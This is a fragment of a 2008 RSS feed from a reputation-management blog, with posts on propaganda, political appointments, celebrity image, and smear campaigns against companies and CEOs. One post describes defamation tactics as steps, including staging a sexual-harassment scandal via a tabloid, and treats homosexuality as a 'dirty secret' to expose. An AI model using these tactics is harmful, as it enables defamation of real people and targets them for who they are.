<p>Safety should always be in the back of your mind, which is a reason why you should never be surfing alone. You never know what might go wrong even on the smallest of waves &#8211; its good to have someone who can help you out if you get into trouble.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Back In The Classroom: Noam Chomsky on Corporate Propaganda Techniques</title>
         <link>http://www.spinhunters.org/blog/back-in-the-classroom-noam-chomsky-on-corporate-propaganda-techniques/</link>
         <description>I just stumbled across an old video on YouTube and I think it is worth sharing. The video is about the origin of the Public Relations industry in the US and why the modern democratic societies need to be manipulated.



As it turns out, the free public mind is one of the greatest threats to many corporations and political regimes as it could easily destroy their long-term goals, ideologies and operations. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=158</guid>
         <pubDate>Fri, 05 Dec 2008 20:03:59 +0000</pubDate>
         <content:encoded><![CDATA[<p>I just stumbled across an old video on YouTube and I think it is worth sharing. The video is about the origin of the Public Relations industry in the US and why the modern democratic societies need to be manipulated.</p>

<div class="screen"><embed src="http://www.youtube.com/v/a4K2uBI61z4&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" width="425" height="344"></iframe></div> 

<p>As it turns out, the free public mind is one of the greatest threats to many corporations and political regimes as it could easily destroy their long-term goals, ideologies and operations. Chomsky also says that the idea of democracy gives an enormous, anarchic power to the regular people, which could be quite harmful to the society in general.  Actually, propaganda is one of the Chomsky&#8217;s favorite topics as he wrote many books about it &#8211; <em>Media Control: The Spectacular Achievements of Propaganda</em>, <em>Manufacturing Consent: The Political Economy of the Mass Media and Propaganda</em> and <em>The Public Mind: Conversations with Noam Chomsky</em>. Great reads for those who are interested.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>A Note For Hillary: Stop Tarnishing The Democratic Values</title>
         <link>http://www.spinhunters.org/blog/a-note-for-hillary-stop-tarnishing-the-democratic-values/</link>
         <description>It is official! Hillary Clinton is finally appointed as the new Secretary of State. Congrats!!!! Let me tell you, this lady is everything, but a loser and will do everything just to get to the power of the state. It seems like she is absolutely capable of taking every political position you can think about of &amp;#8211; a first lady, a senator, a president wanna-be, a vice president and if all this fail why not a head of international affairs. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=148</guid>
         <pubDate>Wed, 03 Dec 2008 22:41:08 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/saz/34630357/"><img class="initial-capital" src="http://farm1.static.flickr.com/21/34630357_a5b1c00f5d_m.jpg?v=0" alt="note"/></a>

<p>It is official! Hillary Clinton is finally appointed as the new Secretary of State. Congrats!!!! Let me tell you, this lady is everything, but a loser and will do everything just to get to the power of the state. It seems like she is absolutely capable of taking every political position you can think about of &#8211; a first lady, a senator, a president wanna-be, a vice president and if all this fail why not a head of international affairs. There is nothing wrong with this, except that the recent political history is entirely dominated by families like the Bushes and the Clintons. Looks like once you taste the power of the White House, it is not easy to give it up. I cannot help but wonder, where is the real change that we are awaiting for so long?</p>

<p>Funny enough, just few weeks ago both Hillary Clinton and Barack Obama said that they want to improve America&#8217;s standing in the world. The Democart&#8217;s victory was easily labeled by different media outlets as &#8220;historic&#8221; and has put hopes for a brighter future not only in US, but also in the whole world itself. Barack Obama is not just the first black president; he is a symbol of new political standards, a chance of economic survival and a representative of  new class of world leaders. For a first time in many years (maybe after Nelson Mandela&#8217;s jail release), people all over the world were united in something bigger than their own social troubles. They were proud of the choice they made and were actually interested in following the news, counting the votes and somehow been personally involved in the whole competition.</p>

<h3>What happened?</h3>

<p>Let me take you back to the time when Hillary Clinton tried to &#8220;nominate&#8221; herself as a potential candidate for vice-presidency. Every rational political analyst at that time fiercely criticized the opportunity of pairing the &#8220;two former rivals&#8221; into the same election list. Moreover, it was said to be an absolutely wrong move and a second chance for Bill Clinton to overshadow the upcoming cabinet. Hillary was also seen as an obstacle that could put many prospective voters off the Obama&#8217;s political platform. Not to mention about the numerous dirty tricks that both candidates used to play to each other. Actually the fight between them was even more bitter and more aggressive than the one with the Republicans.</p>

<p>Today, after the election, the partnership between Obama and Clinton has been suddenly seen as logical conclusion of a long, exhausting race. However there are still a couple of issues that must be considered.  Hillary is not the type of a woman that will be easily controlled. No matter how suitable or experienced she is for being a Secretary of State, she also has a wide network of business/political connections which could put her into a great dominance over the rest of the crew. This means that her political leverage will be getting stronger and stronger each day,  which kind of makes this team ineffective at its very beginning.</p>

<h3>Bottom Line:</h3>

<p>One of the good things about Democracy is the idea of free choice. The American people were actually unable to vote about the alliance between Hillary and Obama (as it would happen if she was officially named his running mate). Now they are forced to accept it. All this raises the question if we ever had the opportunity to choose between different democratic alternatives or everything was already set up as part of a nasty, political scenario. No matter how good it sounds in theory, the change has been already made, unfortunately not by us.</p>

<p><em>Definitely not a good sign for the American reputation!</em></p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>“Big”, “Small” and “Fat” Reputations (The Healthy Edition)</title>
         <link>http://www.spinhunters.org/blog/big-small-and-fat-reputations-the-healthy-edition/</link>
         <description>In the mood of the upcoming Christmas feasts, here are our tips of how to stay corporate fit during the season. As you know, during this time of the year most companies are quite busy with the execution of various sales campaigns or are rushing to close important deals right before New Year&amp;#8217;s Eve. Christmas also means lots of parties, reunions and gatherings. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=142</guid>
         <pubDate>Thu, 27 Nov 2008 19:36:47 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/roadsidepictures/182061567/"><img class="initial-capital" src="http://farm1.static.flickr.com/75/182061567_ce2f71d499_m.jpg?v=0" alt="Fat"/></a>

<p>In the mood of the upcoming Christmas feasts, here are our tips of how to stay <q>corporate</q> fit during the season. As you know, during this time of the year most companies are quite busy with the execution of various sales campaigns or are rushing to close important deals right before New Year&#8217;s Eve. Christmas also means lots of parties, reunions and gatherings. However that urge for having a fresh start sometimes cost millions to the organizations as they tend to neglect their competitors and therefore easily become victims of lethal reputation attacks. While many attribute the cause for this as an excessive preoccupation during the holidays, much of the Black PR cases are due to the carelessness of managers to assess security threats and their actual frequency. CEOs also foolishly underestimate the objectives of negative campaigning and refuse to believe that someone will ever dare to affect their <q>flawless</q> corporate systems.</p>

<p>I don&#8217;t think is even worth mentioning it here how idiotic approach this is and to be honest many organizations deserve their own reputation misery. So instead of spending quality time with friends and families, many employees end up the year setting crisis teams and fighting bad publicity. Sounds like lots of fun, isn&#8217;t it?</p>

<h3>What is the healthy diet?</h3>

<p>First of all, I think it is very important for corporations to understand the power of a good reputation. Although it is not something that you can touch and hold in your hands, having a good name (personal or a brand) is the only thing that matters at the end of the day. It affects not only your annual financial reports, but also it gives you a competitive edge and a whole new meaning of your marketing strategies, internal relations and in general sales performance. Companies with strong reputation are more likely to recover from severe crises, than the ones with inconstant behavior and negative image.</p>

<p>Secondly, there is a common misunderstanding which I want to clarify. Usually when PRs talk about reputation, they tend to refer to it as good or bad one. The truth is that the reputation of an organization can be much more colorful as it can take many different shapes or sizes. Keep also in mind that the corporate image means different things for the different stakeholder groups, such as employees, suppliers, shareholders and the media. It is vitally important to keep the balance between them as you risk to put yourself in a very untrustworthy position.</p>

<h3>The size always matters</h3>

<p>There is no big or small reputation. It is all relative. Companies with <q>big</q> reputations are those with a greater popularity among the general public. This s the case with <a rel="nofollow" target="_blank" href="http://www.thebodyshop.co.uk/">Body Shop.</a> Everyone think of Body Shop as a company that is deeply concerned with the environment, fair trading and biologically clean products. This is something that nobody doubts or dare to counter.</p>

<p>Organizations with <q>small</q> reputations are those that fail to established any strong images in the minds of the audience. Usually those are start-ups or corporations with controversial past and lack of political protections. Even worse &#8211; firms with no individuality and international media presence.</p>

<p>The question here is what will happen when these two types of reputation collide. Obviously it will be much easier for a bigger organization to smash down the smaller one. It has wider network of connections, more money and better PR team. The smaller competitor won&#8217;t even noticed that they are being a victim of Black PR campaign or even if they do, nobody will believe them or even want to invest in an entity without any market future.</p>

<p>However if a start-up succeeds in the defamation of a bigger company, it will automatically position itself as better consumer alternative and even secure its own market place. This opportunity is especially seductive for the retail industry. The only difficult thing here is the creating of an effective Black PR strategy and a new marketing plan for after that.</p>

<p><em>So, take the tape measure and prepare for the upcoming festivals!</em></p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Britney Spears And The Art of Self-defamation</title>
         <link>http://www.spinhunters.org/blog/britney-spears-and-the-art-of-self-defamation/</link>
         <description>There is a new documentary coming up this weekend on MTV about Britney Spears. It is called Britney: For the Record and it aims to rebuild her reputation after months of a total meltdown. It is expected to be a heart-breaking story about her emotional collapse and the way she completely lost her way to the top.  Funny enough, MTV was  blamed a year ago that it deliberately helped destroying her image by letting her on stage of the MTV Music Awards 2007. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=134</guid>
         <pubDate>Fri, 21 Nov 2008 20:33:15 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/disier/352614978/"><img class="initial-capital" src="http://farm1.static.flickr.com/139/352614978_801cc5b7dd_m.jpg?v=0" alt="Britney Spears"/></a>

<p>There is a new documentary coming up this weekend on MTV about Britney Spears. It is called <q><a rel="nofollow" target="_blank" href="http://uk.youtube.com/watch?v=XF64RI6R2h4&#038;feature=related">Britney: For the Record</a></q> and it aims to rebuild her reputation after months of a total meltdown. It is expected to be a heart-breaking story about her emotional collapse and the way she completely lost <q>her way</q> to the top.  Funny enough, MTV was  blamed a year ago that it deliberately helped destroying her image by letting her on stage of the MTV Music Awards 2007. If you remember well she was brutally criticized by the tabloids at that time for her poor performance and horrible look, which put Spears even into a deeper depression. Britney easily became a synonym of psychological disorder and a topic of numerous humorous plots. For more then a year people all over the world were literally shocked by her tabloid-chronicled personal spiral that has included rumors of drug and alcohol abuse, a scalp-shearing breakdown, a few trips through rehab, visits from the department of child welfare, and a lot of genital exposure.</p>

<h3>What is happening now?</h3>

<p>For the last couple of months, the falling POP-star suddenly raised from the ashes. It was not something that I expected to occur so soon, at least not with the same magnitude. Today, Britney Spears looks like an entirely different person. She behaves well, spends quality time with her two sons, hits the top charts with a brand new single and even won two MTV awards. Larry Rudolph, her manager, kindly refers to as <q>the official beginning of the comeback</q>. However I couldn&#8217;t help but wonder, is it really a comeback or a well-designed reputation strategy?</p>

<p>There are a few disturbing things which make me reason that Britney Spears&#8217;s brake-down could be part of a complex, self-created Black PR campaign. I know this sounds insane! Who could possibly do this to himself, but if you think about it &#8211; Why NOT???</p>

<p>First of all, Britney released her fifth album, <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Blackout_(Britney_Spears_album)">Blackout</a>, right in the peak of her emotional troubles. Ask any reputation advisor and he will tell you that this is a wrong move, especially when you carry such a horrible media karma. That is completely true, but not if your singles are all about depression, self-lost and bad decisions. What would be a better way to promote your label, but your own self-destructing life. Keep also in mind that the target audience of the album is mainly composed of teenagers and I don&#8217;t even want to start discussing the emotional problems this particular group have to go through. What I am trying to say is that, Britney&#8217; life may be seen from some as a total wreck, but for others (young troubled girls) it is empathy, etc.</p>

<p>On the other hand, people love to see their idols falling down. They want to assure themselves that the celebrities are just regular people as everyone else and have the same domestic and professional problems. This is how I can personally explain the whole hysteria around reality programs and <q>behind the scenes</q> features.</p>

<p>Believe me, Britney Spears&#8217; record company knew this extremely well and as a result Blackout set the record for the biggest-selling digital album debut by a female artist in a week.</p>

<h3>New Album requires a New Image</h3>

<p>The next album of Britney Spears, <q>Circus</q>, is set to be released on 2th Dec (her birthday). The date it is not accidental. It should mark her comeback and new personal stage of life. She will be portrayed as more mature and emotionally stronger woman and she will probably start aiming at different type of audience.</p>

<p>Britney already looks different. She has better style, better figure, boosted self-esteem and professional attitude. She seems quite <q>womanized</q> and in peace with herself. All she needs to do now is to start excusing herself and her recent behavior. She is aiming at people&#8217;s compassion and fortunately for her, we all like to forgive.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Collateral Reputation Damage</title>
         <link>http://www.spinhunters.org/blog/collateral-reputation-damage/</link>
         <description>There is a new reputation term I stumbled across yesterday (via Authenticorganizations blog) so I thought it is worth discussing it. It is called collateral reputation damage and the idea behind it is that some companies could be incidentally defamed, just by having random similarities with another, less respectable organizations or individuals. According to the author:



How does it work? [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=126</guid>
         <pubDate>Wed, 19 Nov 2008 23:09:42 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/freeparking/1229303016/"><img class="initial-capital" src="http://farm2.static.flickr.com/1351/1229303016_6ffc0dda00_m.jpg?v=0" alt="vintage damaged class photo: me in the 1970s"/></a>

<p>There is a new reputation term I stumbled across yesterday (<a rel="nofollow" target="_blank" href="http://authenticorganizations.com/harquail/2008/11/17/what-is-collateral-reputation-damage/">via Authenticorganizations blog</a>) so I thought it is worth discussing it. It is called <q>collateral reputation damage</q> and the idea behind it is that some companies could be incidentally defamed, just by having random similarities with another, less respectable organizations or individuals. According to the author:</p>

<blockquote><q>The collateral damage, (is) not intentional damage, because the folks taking action don&#8217;t intend to damage the organization�s reputation. Instead, the damage occurs through</q> guilt by association</blockquote>

<h3>How does it work?</h3>

<p>The most popular example of <q>collateral damage</q> is when two similar names (let&#8217;s refer to them as A and B) are being negatively associated with each other. Usually there is no any relevant connection between them, except their names, nicknames, corporate symbols or initials. Visual resemblance is also possible. The only requirement here is one of the subjects (let&#8217;s say A) to have an established bad reputation in people&#8217;s minds.  So, every time when people hear about the other one, B, they will subconsciously associate it with the negative qualities and characteristics of A. Fortunately, this works only for a very short period of time. However, it could be really damaging only if A is in the middle of a corporate/personal scandal.</p>

<p>This is what happened with <a rel="nofollow" target="_blank" href="http://www.seriouseats.com/2008/09/palin-syrah-sarah-sara-wine-drops-in-sales.html">Sarah Pailn and the Chiliean wine <q>Palin Syrah</q></a>. According to Chris Tavelli (a wine bar owner), <q>Palin Sayrah</q> was one of the best selling wines in his pub before her nomination as a Republican V.P.  People were constantly put off of its low price and <strong>questionable</strong> quality.</p>

<h3>How the affected party should react?</h3>

<p>Well, there is no a straightforward answer really. Everything depends on the specific situation and whether the affected organization is willing to take any further steps to rebuild its reputation. The main point here is the harmed company or the individual must distant itself from the one with a bad image and make sure to demonstrate different corporate values. If the company publicly complains about its reputation loss and provide enough evidences about it, such as significant financial drops, then it has the real chance to increase its popularity, find new markets or even entirely re-position itself. As I always say, it all depends on the abilities of finding an opportunity in the crisis.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Top Reputation Nightmares for CEOs</title>
         <link>http://www.spinhunters.org/blog/top-reputation-nightmares-for-ceos/</link>
         <description>Ask any reputation strategist and he will tell you that the most vulnerable asset of any corporation is its very own leader.  Actually CEO&amp;#8217;s reputation represent around 49%-65% of overall corporate reputation and thus it is inevitable part of numerous Black PR scenarios. The reason for this is because it requires much less efforts and time to defame a person, than to concentrate on the disparagement of an entire organization. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=119</guid>
         <pubDate>Thu, 13 Nov 2008 17:07:26 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/sis/88844769/"><img class="initial-capital" src="http://farm1.static.flickr.com/22/88844769_b775acbabe_m.jpg?v=0" alt="Nobody Loves Me! The Valentine Nightmare."/></a>

<p>Ask any reputation strategist and he will tell you that the most vulnerable asset of any corporation is its very own leader.  Actually CEO&#8217;s reputation represent around 49%-65% of overall corporate reputation and thus it is inevitable part of numerous Black PR scenarios. The reason for this is because it requires much less efforts and time to defame a person, than to concentrate on the disparagement of an entire organization.</p>

<p>The objectives of the smear campaigns, on the other hand, could also be different. Usually there are two simple goals behind every reputation attack. The first one is directed at the personal qualities of the target and it aims his official resignation. Most of the time these types of attacks come from inside the company and are used when the leader is no longer suitable for the general corporate performance. It is also very convenient when he/she cannot be dismissed directly or is a great obstacle for someone&#8217;s interest. The second reason for CEO defamation is when the black- hats are trying to distract the attention of the industry&#8217;s stakeholders or are aiming to cause extra troubles for the organization. It is not a surprise that this is a very common situation during important events like new product launching or some forthcoming acquisitions.</p>

<p>Due to the high volume of recent reputation attacks, I tried to summarize the most common malicious scenarios that CEO&#8217;s could be involved in. Of course, there are a lot more scenarios than those that I have listed. Keep in mind that everything depends on the creativity of the attacker. The golden rule here is that the more uncommon the plan is, the more effective the results would be.</p>

<ol>
<li><strong>Sexual Harassment</strong> &#8211; This is the most popular type of attack that a leader could face. It is quite easy to be proved and works almost every time.  All you need to do is to find a suitable victim, sufficient evidences and a tabloid editor, willing to pay enough for the story.  Once the scandal is triggered, you can just sit down and relax.</li>
<li><strong>Hypocrisy</strong> &#8211; The point here is to reveal a discrepancy between leader&#8217;s official attitude and his actual deeds.  The latest example is the Sara Palin fashion affair. The problem there was not that she likes to wear very expensive, designer clothes, but the fact she is not a regular American girl as she had been trying to portray herself.</li>
<li><strong>Membership of controversial groups</strong> &#8211; This is a really powerful approach. If you can prove that the CEO is a part of a mob gang, religious cult or secret society, than his media crucifixion will be certain. The corporate long term strategies will also be affected.</li>
<li><strong>Professional Incompetence</strong> &#8211; if the leader is incapable of making good decisions and taking responsibilities of his action , then the quality of the corporate services will be put under a serious suspicion. This is pretty scary for most of the B2B type of companies.</li>
<li><strong>Misuse of corporate resources (Embezzlement)</strong> &#8211; Financial wrongdoing  and unethical behavior are probably the most significant threats to every corporate reputation.Such is the case with the Deyaar&#8217;s ex-CEO, Zack Shahin, who was suspected of embezzling over $33 millions into his personal accounts. The scandal broke earlier this year and let to his immediate discharge as the head of the biggest property developer in Dubai. According to the Gulf media sources, the company is still trying to recover its tarnished reputation and to regain the trust of its shareholders.</li>
<p><strong>I want to clarify that the person who was accused of embezzling Deyaar Development&#8217; resources is Zack Shahin , not Nasser Al-Shaikh as was stated earlier before. Mr. Al-Shekih is the current Chairman of the company and The General Director of Dubai Department of Finance. Spin Hunters apologies for any inconvenience we might caused with this post.
</strong></p>
<li><strong>Indictment</strong> &#8211; When it comes to CEO&#8217;s reputation, ethical conduct is always on the top. Bernard Ebbers, the former CEO of WorldCom, learned that the hard way when he was indicted on federal charges stemming from the multi-billion dollar accounting fraud at the telecommunications giant.  He was also charged of conspiracy and false filing with the Securities Exchange Commission.  Today he is serving his sentence at the FCI Oakdale.</li>
<li><strong>Personality and Lifestyle</strong> &#8211; The main goal of the attacker here is to reveal all the dirty secrets of the target that are not publicly known. If the leader is a drug addict, a racist or a homosexual and this type of an image is in total clash with the position he takes, then not only the reputation of the organization, he is associated with, will suffer but also the reputation of the entire industry itself.</li>
</ol>

<p><strong>Bottom Line:</strong> <em>CEO&#8217;s reputation will always be a target of  professional smear campaigns. The best thing CEOs can do is to be completely honest and sincere with his PR strategic team, as this is the only way to tackle all pending reputation risks.</em></p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Negative Word-Of-Mouth made easy with Tell-a-Friend</title>
         <link>http://www.spinhunters.org/blog/negative-word-of-mouth-made-easy-with-tell-a-friend/</link>
         <description>There is a new widget that caught my eye the other day and I have been playing with it ever since.  It&amp;#8217;s called Tell-a-Friend and its general purpose is to help users to share any type of information without leaving the website where it is installed.  Nothing new, you may say, but the point I want to make is that this tool actually enables visitors to access their friends with much greater speed and scope. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=116</guid>
         <pubDate>Tue, 04 Nov 2008 15:51:11 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/nyki_m/3000410746/in/set-72157607040408281/"><img class="initial-capital" src="http://farm4.static.flickr.com/3236/3000410746_3974a1e3c3_m.jpg?v=0" alt="Mouth"/></a>

<p>There is a new widget that caught my eye the other day and I have been playing with it ever since.  It&#8217;s called <a rel="nofollow" target="_blank" href="http://http://tellafriend.socialtwist.com/index.jsp">Tell-a-Friend</a> and its general purpose is to help users to share any type of information without leaving the website where it is installed.  Nothing new, you may say, but the point I want to make is that this tool actually enables visitors to access their friends with much greater speed and scope. So, instead of remembering all the contact details of your LinkedIn network, you can now spread your messages with less efforts and boring authentication requests. Convenient for ones, quite scary for others! Tell-a-Friend is a two-edged sword that can successfully build and destroy your reputation in a matter of minutes. Everything depends on the professional skills of both the black-hats and the reputation management consultants.</p>

<p>It is not a surprise that most of the serious PR agencies today design Word-of-Mouth (WOM) strategies as part of their promotion services. They are well aware of the power of peer-to-peer sharing and that most potential costumers heavily rely on the advice and the input of the people they trust. A professionally executed WOM campaign is hundreds of times more effective than any other advertising platform combined with the best communication tactics, especially when it can also help boosting the sales performance and corporate operational profit.</p>

<p>One of the most specific features of WOM marketing is that it barely relies on any substantial facts, but personal opinions. So, even if you read something about yourself on the Web that it is not entirely true, the measures you can take are pretty limited. It is almost impossible to start legal actions against a whole community, especially when the initial source of the rumor is hard to be identified. It is also quite stupid for a company to blame someone because of his personal believes and thus all marketing books share the opinion that customer is always right.</p>

<p> I will stop here. I think it is pointless to explain further the importance of  Word-of-Mouth and its global impact on corporate reputations.  However, I believe it is crucial to discuss its usage as rumor spreading accelerator and general defamation tool.</p>

<h3>What makes Negative WOM so powerful?</h3>

<p>It is proven that people trust negative information way more than any superlatives. If you hear something bad about someone, this is more likely to be remembered than the high volume of positive stories you can find about that very same person.  The reason for this are the libel messages with their embellishing nature which causes the drama effect. This means that if you start a rumor about something,,at the end of the day it will sound totally different from its initial form. In fact, every time when somebody repeats the story, the impact will be much bigger and stronger over the target audience. None of the other communication tools enable you to do that.</p>

<p>The other thing I would like to mention is the tempo, with which viral messages could be disseminated.  This is extremely important for every defamation campaign , because it disables the target to react promptly on existing reputation attacks. If the target delays its official respond or fail to give a reasonable explanation of the buzz (with enough number of facts), then the allegations will be subconsciously confirmed by the audience.  Moreover, this delay may actually help the rumors to spread even more and this is how the target&#8217;s reputation can be permanently damaged.</p>

<p>In conclusion, I can only say that most of the big corporations tend to underestimate the power of negative communication. They are willing to spend enormous amount of money for creating a positive buzz, but not fighting the negative one. In short term perspective, this may look reasonable, but keep in mind that there will always be someone that doesn&#8217;t like your product and will try everything to take you down. As I always say, it is up to you to decide whether this is going to happen.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Smear of the Year</title>
         <link>http://www.spinhunters.org/blog/smear-of-the-year/</link>
         <description>The high volume of recent smear campaigns has led to the need of a special acknowledgment.

Spin Hunters is eager to rate the most popular cases of reputation attacks in the last year. Whether this will be the hysterical speculations over the upcoming election or the intensive rumors about the crush of a big financial institution, it is up to you decide. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=105</guid>
         <pubDate>Mon, 27 Oct 2008 17:29:00 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/bettinatizzy/2086994424/in/photostream/"><img class="initial-capital" src="http://farm3.static.flickr.com/2250/2086994424_7601870aaa_m.jpg?v=0" alt="Twisty Smears by Juria Yoshikawa"/></a>

<p><em>The high volume of recent smear campaigns has led to the need of a special acknowledgment.</em></p>

